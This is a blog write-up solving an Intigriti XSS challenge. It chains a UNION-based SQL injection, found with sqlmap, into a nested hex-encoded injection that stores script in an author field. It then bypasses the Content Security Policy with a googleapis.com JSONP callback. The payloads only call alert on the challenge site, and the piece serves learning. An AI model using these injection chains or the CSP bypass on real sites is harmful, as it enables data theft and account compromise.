Another awesome XSS challenge from Intigriti. Personally, I learn a lot trying to solve these monthly challenges by Intigriti. The important thing to take away is the thought process and googling to find resources that will help you to understand things that you do not know. Hope you will learn by reading this article how I solved this challenge.
Let’s go to the challenge page…🚶🏻
Nothing fancy.. just a simple blog website with basic HTML & CSS with a few anchor tags. Let’s click on all the links and see what happens.
Two links under Archives… March 20222 and February 2022. When clicking on these links you will notice there is a month parameter taking in numbers, 3 for march, and 2 for February. (even you can see this “month” parameter if you view the source of the main page, that is why it is important to view the page source).
Again nothing special here on these two links. Let’s try different numbers other than 2 & 3… only blank pages.
Let’s open the developer console to inspect any JavaScript files, but no JavaScript files except bootstrap hosted on cloudflate.com
What happens if we try HTML tags… Hmmm “error”.. being printed.. (same for a single quote, double quote & backtick.. interesting 🤔 looks like SQLi, and error is being handled at the backend nicely.
Ok saw something about SQLi on Hint 1 (this hint, hinted a couple of things about this challenge, let’s see them below)
First — Computer trouble… Yeah that us having trouble with this challenge ☹️
Second — Break something.. Yeah we broke with trying to enter HTML tags and payloads. 🤪
Third — Hint about SQL syntax and TABLES 🤨
Forth — Database inputs are not Sanitised…
So what next.. so far this is like blind SQLi.. we cannot see real SQL error because of the error handling at the backend. So we all know the tool to use we encounter SQLi… sqlmap
> sqlmap -u “https://challenge-0722.intigriti.io/challenge/challenge.php?month=3"
SQLMAP Result:
— -
Parameter: month (GET)
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: month=3 AND 4545=4545
Type: UNION query
Title: Generic UNION query (NULL) — 5 columns
Payload: month=3 UNION ALL SELECT NULL,CONCAT(0x716b6b7871,0x7266597766514277734c43656d45426f41464b664d596d7761724f724b4478427357686658744a78,0x716a767a71),NULL,NULL,NULL — -
— -
[23:00:32] [INFO] testing MySQL
[23:00:34] [INFO] confirming MySQL
[23:00:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0
Let’s analyze the sqlmap results here, It is clear that we have error-based sqli and we have given two payloads. but the first payload is 1=1 we cannot enter any other payloads. Let’s try the second payload given by sqlpmap…
😀 Ok, we have something from sqlmap payload added as a blog post.. let’s see what happens by leaving the developer console open and analyzing HTML.
We have <h2> as title and empty <a> anchor tag. Ok, so how do we get our XSS payload, before that let’s analyze sqli payload.
It just string converted to HEX code
This is the point I googled for “XXS with SQLi” and found the below nice article (please open and scan it), exactly what I was looking for…
Quickly converted(encode) <script>alert(document.domain);</script> to hex code using burp-suite decoder and tried 🫣
month=3 UNION ALL SELECT 1,0x3c7363726970743e616c65727428646f63756d656e742e646f6d61696e293b3c2f7363726970743e,2,3,4 — %20-
We have 5 sections in this Union All Select, that because SQLi notified us there is 5 column so we have supply 5 values, you can use “null” until you find the vulnerable column, but in this case, sqlmap sort that for us and provied a payload that we can work on.
(make sure you add hex converted payload after 0x (ex: 0xHEX_COVERTED_PAYLOAD)
Hmmm… payload if just reflected… not executed. let’s see the page HTML (always check page HTML to see what is happening)
Seems all the values including the XSS payload properly validated and sanitized…. but wait why the anchor tag is empty.. look at the top article on the same image, it has “Jack” between anchor tags.. time to analyze our SQL payload…
month=3 UNION ALL SELECT 1,2,3,4,5 — -
Above is what sqlmap mentioned it found 5 tables for this injection point. You can try to place the hex converted payload to a different position, but make sure you have some value or text in the vacant position, otherwise, syntax breaks and you will get an error. By moving you will notice positions 1 and 4 not showing on the blog post that we have created. Again we can use “sqlmap” to find more about 5 column table and see what’s happening with the SQL database. Below is how I start digging…
> sqlmap -u “https://challenge-0722.intigriti.io/challenge/challenge.php?month=2" — tables
Ok.. 3 tables… user, post & youtube… let’s have look at one by one what inside each table.
> sqlmap -u “https://challenge-0722.intigriti.io/challenge/challenge.php?month=2" — dump -T user -D blog
- -T : Table
- -D : Database
Names on blog posts under anchor tags.. ok, let’s check the next table posts.
sqlmap -u “https://challenge-0722.intigriti.io/challenge/challenge.php?month=2" — dump -T user -D post
Ohhh yes…. 😃 5 columns
Column 1 => ID (that’s why when we inject at position 1 nothing is shown on page
Column 2 =>msg => Payload Sanitised
Column 3 => title => Payload Sanitised
Column 4 => Not Showing but only anchor tag (suspicious)
Column 5 => datetime => Payload Sanitised
How can pull user data to this table? Position 4, can we inject something?
But look closer in the post table column 4 “author” is the reference by id 1 and 2 this matches the ID column in the user table. So there is a relation between these two tables. Maybe NAME or PICTURE are vulnerable or not sanitized..
How we can get there…? 🤓 Can I use the same SQLi payload in position 4 to inject payload there… lets try ( 1UNION ALL SELECT 1,2,3 — — )
Going to use 3 values as user tables containing only 3 columns, but this payload will go into position 4 of the first sqli payload (let’s call the first SQLi payload Level 1, nested one level 2). Let’s try…
Step 1
1 UNION ALL SELECT 1,2,3 → convert this to ASCII hex → 3120554e494f4e20414c4c2053454c45435420312c332c33
The reason I put TEST at position 2 on level 2 sqli payload is that we saw user table position 2 where the name is.
Step 2
Add above hex to level 1 sqli position 4
month=1 UNION SELECT 1,2,3,0x3120554e494f4e20414c4c2053454c45435420312c332c33,5 — -
(do not forget to add 0x in front of converted hex)
And…. 🫣
YESSS.. we managed to pull the name from the user table with our 2 levels of SQLi Let’s test this sqli level 2 & position 2 is vulnerable, can we inject XSS payload, lets start with simple HTML like <h2> But remember anything goes to any position that we need to convert to hex, let’s try
Step 1
Convert <h1>HELLO</h1> to hex → 3c68313e48454c4c4f3c2f68313e
Step 2
Add HTML converted hex code to level 2 sqli 0x in front
1 UNION ALL SELECT 1,0x3c68313e48454c4c4f3c2f68313e,3
Step 3
Convert level 2 sqli to hex code to add to level 1 sqli 3120554e494f4e20414c4c2053454c45435420312c322c33
Step 4
Add level 2 sqli hex code to level 1 and give it try… 🫣
month=1 UNION SELECT 1,2,3,0x3120554e494f4e20414c4c2053454c45435420312c3078336336383331336534383435346334633466336332663638333133652c3320,5 — -
😬 ANTON… again, go away…
After several try found that # 1 (1 UNION ALL SELECT 1,0x3c68313e48454c4c4f3c2f68313e,3) before UNION is entry(record) in the table. We have 1 Anton, and 2 Jake.. when trying 3 (which doesn’t exist) Boom our HTML payload… YES.. adding 3 may caused an error and the database took the user-supplied value.
Ok, let’s put XSS load, shall we, and see what happens… 🏃🏽♂️
Step 1
Convert <img src=x onerror=prompt(/XSS/)> to hex and add to level 2 sqli position 2, 0x in front
3 UNION ALL SELECT 1,0x3 UNION ALL SELECT 1,0x3c696d67207372633d78206f6e6572726f723d70726f6d7074282f5853532f293e,3
Step 2
Convert above level 2 sqli to hex and insert to level 1 sqli position 4
month=1 UNION SELECT 1,2,3,0x3320554e494f4e20414c4c2053454c45435420312c30783363363936643637323037333732363333643738323036663665363537323732366637323364373037323666366437303734323832663538353335333266323933652c33,5 — -
🫣
Now what… 😂 Payload there… broken image tag not triggered.. noticed an error message console, let’s have a look.
Refused to execute inline event handler because it violates the following Content Security Policy directive: “default-src ‘self’ *.googleapis.com *.gstatic.com *.cloudflare.com”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution. Bla Bla Bla….
Also, you will notice in the network tab (developer console) response header section, that CSP is being enforced… So we need to find a way to bypass CSP to trigger the XSS
As you can see there are two google services and cloudflare.com allowed.. Time for Googling…
CSP Evaluator
1. https://csp-evaluator.withgoogle.com/
2. https://cspvalidator.org/
Above google, evaluator shows CSP High severity finding.
Few of the links found CSP bypass after googling;
I used the below payload and BOOM 💥
Policy Example:
script-src 'https://*.googleapis.com';
Bypass Example:
<Script Src=https://www.googleapis.com/customsearch/v1?callback=alert(1)></Script>
Lets go through the steps for last time to finish the challenge
Step 1
Convert <Script Src=https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)></Script> to hex code
3c536372697074205372633d68747470733a2f2f7777772e676f6f676c65617069732e636f6d2f637573746f6d7365617263682f76313f63616c6c6261636b3d616c65727428646f63756d656e742e646f6d61696e293e3c2f5363726970743e
Step 2
Add above converted hex code to position 2 in Level 2 sqli
3 UNION ALL SELECT 1,0x3c536372697074205372633d68747470733a2f2f7777772e676f6f676c65617069732e636f6d2f637573746f6d7365617263682f76313f63616c6c6261636b3d616c65727428646f63756d656e742e646f6d61696e293e3c2f5363726970743e,3
Step 3
Convert above SQL syntax to hex code
3320554e494f4e20414c4c2053454c45435420312c30783363353336333732363937303734323035333732363333643638373437343730373333613266326637373737373732653637366636663637366336353631373036393733326536333666366432663633373537333734366636643733363536313732363336383266373633313366363336313663366336323631363336623364363136633635373237343238363436663633373536643635366537343265363436663664363136393665323933653363326635333633373236393730373433652c33
Step 4
Add above hex code to level 1 sqli position 4, 0x in front
month=1 UNION SELECT 1,2,3,0x3320554e494f4e20414c4c2053454c45435420312c30783363353336333732363937303734323035333732363333643638373437343730373333613266326637373737373732653637366636663637366336353631373036393733326536333666366432663633373537333734366636643733363536313732363336383266373633313366363336313663366336323631363336623364363136633635373237343238363436663633373536643635366537343265363436663664363136393665323933653363326635333633373236393730373433652c33,5 — -
🥵
Finally….
Hope you enjoy reading.
Things to take away:
Google your doubts, google is your friend.
Think outside the box, and don’t give up so quickly.
Look for weird behaviors, like I was looking for the author’s name when it was not there with Level 1 sqli at the initial stage.
PHP application, high chances SQL database is used.
Developers make mistakes, in this challenge, the developer might have thought ok all the inputs are Sanitised (Level 1 SQLi).
Good luck with the next Intigriti XSS challenge. You can do it… 💪 🤙
Happy Hacking 🇱🇰